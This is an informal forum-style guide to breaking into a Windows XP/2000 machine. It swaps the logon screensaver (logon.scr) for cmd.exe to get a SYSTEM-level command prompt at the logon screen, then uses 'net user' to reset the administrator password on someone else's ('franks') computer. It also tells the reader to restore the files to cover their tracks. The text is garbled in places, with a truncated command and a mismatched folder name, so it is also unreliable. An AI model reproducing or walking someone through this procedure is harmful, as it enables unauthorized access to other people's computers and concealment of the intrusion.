Well this one will atually work but be careful to follow these steps closely OK let's start---
1.) First if you have another account other than the system administrator and you can bring up the Windows command Shell which is cmd.exe then your ready.
2.) To open cmd.exe just click on the Start button and click RUNtype cmd.exe once you've done that then your in.
3.) go to the system root directory by typing "cd\" without the quotes, next type "cd\windows\system32\" OR "cd\winnt\system32"depending on where the Windows [stuff] are located.
4.) once you see system32 at the end of the command line. (warning! here comes the hard part).
5.) start by typing "mkdir tempdir" without the qoutes press enternext type "copy logon.scr tempdir\logon.scr" also "copy cmd.exe tempdir\cmd.exe" again no quotes, press enter after each line(type help to understand what you are doing)
6.) next "del logon.scr" deletes original logon.scr
7.) next "rename cmd.exe logon.scr" renames cmd.exe to logon.scr
8.)"exit" quits dos
9.)Now what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.Once this happens if you enter this command minus the quotes "net user
10.) and this changes the password on franks machine to *SHEET* and your in.p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks
11.) Now log off the machine, logon.scr is the screen saver that will kick in after 15 minutes of not touching the keyboard/mouse at the logon screen. Wait 15-20 minutes and a DOS prompt with FULL SYSTEM rights will pop up, then just to C:\> net user administrator
